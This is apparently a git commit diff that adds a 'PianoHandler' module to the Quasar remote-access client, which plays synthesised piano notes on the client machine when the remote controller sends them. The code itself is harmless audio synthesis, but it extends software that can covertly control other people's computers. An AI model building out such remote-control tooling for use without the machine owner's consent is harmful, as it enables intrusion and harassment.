initial commit
This commit is contained in:
@@ -0,0 +1,117 @@
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public class PianoHandler : IMessageProcessor
|
||||
{
|
||||
public bool CanExecute(IMessage message) => message is DoPlayNote;
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
var note = (DoPlayNote)message;
|
||||
new Thread(() => PlayNote(note.Frequency, note.DurationMs)) { IsBackground = true }.Start();
|
||||
}
|
||||
|
||||
// ── waveOut P/Invoke ─────────────────────────────────────────────────
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct WAVEFORMATEX
|
||||
{
|
||||
public ushort wFormatTag, nChannels;
|
||||
public uint nSamplesPerSec, nAvgBytesPerSec;
|
||||
public ushort nBlockAlign, wBitsPerSample, cbSize;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct WAVEHDR
|
||||
{
|
||||
public IntPtr lpData;
|
||||
public uint dwBufferLength, dwBytesRecorded;
|
||||
public IntPtr dwUser;
|
||||
public uint dwFlags, dwLoops;
|
||||
public IntPtr lpNext, reserved;
|
||||
}
|
||||
|
||||
[DllImport("winmm.dll")] static extern uint waveOutOpen(out IntPtr h, uint dev, ref WAVEFORMATEX fmt, IntPtr cb, IntPtr inst, uint flags);
|
||||
[DllImport("winmm.dll")] static extern uint waveOutPrepareHeader(IntPtr h, ref WAVEHDR hdr, uint sz);
|
||||
[DllImport("winmm.dll")] static extern uint waveOutWrite(IntPtr h, ref WAVEHDR hdr, uint sz);
|
||||
[DllImport("winmm.dll")] static extern uint waveOutUnprepareHeader(IntPtr h, ref WAVEHDR hdr, uint sz);
|
||||
[DllImport("winmm.dll")] static extern uint waveOutClose(IntPtr h);
|
||||
|
||||
private const uint WAVE_MAPPER = 0xFFFFFFFF;
|
||||
private const int SAMPLE_RATE = 44100;
|
||||
|
||||
private static void PlayNote(int frequency, int durationMs)
|
||||
{
|
||||
try
|
||||
{
|
||||
int numSamples = SAMPLE_RATE * durationMs / 1000;
|
||||
byte[] buf = new byte[numSamples * 2]; // 16-bit mono PCM
|
||||
|
||||
int attack = Math.Min(200, numSamples / 8);
|
||||
int release = Math.Min(8000, numSamples * 2 / 3);
|
||||
|
||||
for (int i = 0; i < numSamples; i++)
|
||||
{
|
||||
double t = (double)i / SAMPLE_RATE;
|
||||
|
||||
// Natural piano-like amplitude envelope
|
||||
double env = 1.0;
|
||||
if (i < attack)
|
||||
env = (double)i / attack;
|
||||
else if (i > numSamples - release)
|
||||
env = (double)(numSamples - i) / release;
|
||||
|
||||
// Fundamental + harmonics with exponential decay (makes it sound like a struck string)
|
||||
double decay = Math.Exp(-3.5 * t);
|
||||
double wave = env * (
|
||||
0.60 * Math.Sin(2 * Math.PI * frequency * t) * (0.35 + 0.65 * decay) +
|
||||
0.22 * Math.Sin(2 * Math.PI * frequency * 2.0 * t) * decay +
|
||||
0.10 * Math.Sin(2 * Math.PI * frequency * 3.0 * t) * decay +
|
||||
0.05 * Math.Sin(2 * Math.PI * frequency * 4.0 * t) * decay +
|
||||
0.03 * Math.Sin(2 * Math.PI * frequency * 5.0 * t) * decay
|
||||
);
|
||||
|
||||
short pcm = (short)(wave * 26000);
|
||||
buf[i * 2] = (byte)(pcm & 0xFF);
|
||||
buf[i * 2 + 1] = (byte)((pcm >> 8) & 0xFF);
|
||||
}
|
||||
|
||||
var fmt = new WAVEFORMATEX
|
||||
{
|
||||
wFormatTag = 1, // PCM
|
||||
nChannels = 1,
|
||||
nSamplesPerSec = SAMPLE_RATE,
|
||||
wBitsPerSample = 16,
|
||||
nBlockAlign = 2,
|
||||
nAvgBytesPerSec = SAMPLE_RATE * 2
|
||||
};
|
||||
|
||||
IntPtr hWave;
|
||||
if (waveOutOpen(out hWave, WAVE_MAPPER, ref fmt, IntPtr.Zero, IntPtr.Zero, 0) != 0) return;
|
||||
|
||||
GCHandle pin = GCHandle.Alloc(buf, GCHandleType.Pinned);
|
||||
try
|
||||
{
|
||||
uint hdrSz = (uint)Marshal.SizeOf(typeof(WAVEHDR));
|
||||
var hdr = new WAVEHDR { lpData = pin.AddrOfPinnedObject(), dwBufferLength = (uint)buf.Length };
|
||||
waveOutPrepareHeader(hWave, ref hdr, hdrSz);
|
||||
waveOutWrite(hWave, ref hdr, hdrSz);
|
||||
Thread.Sleep(durationMs + 100); // wait for playback to finish
|
||||
waveOutUnprepareHeader(hWave, ref hdr, hdrSz);
|
||||
}
|
||||
finally
|
||||
{
|
||||
pin.Free();
|
||||
waveOutClose(hWave);
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user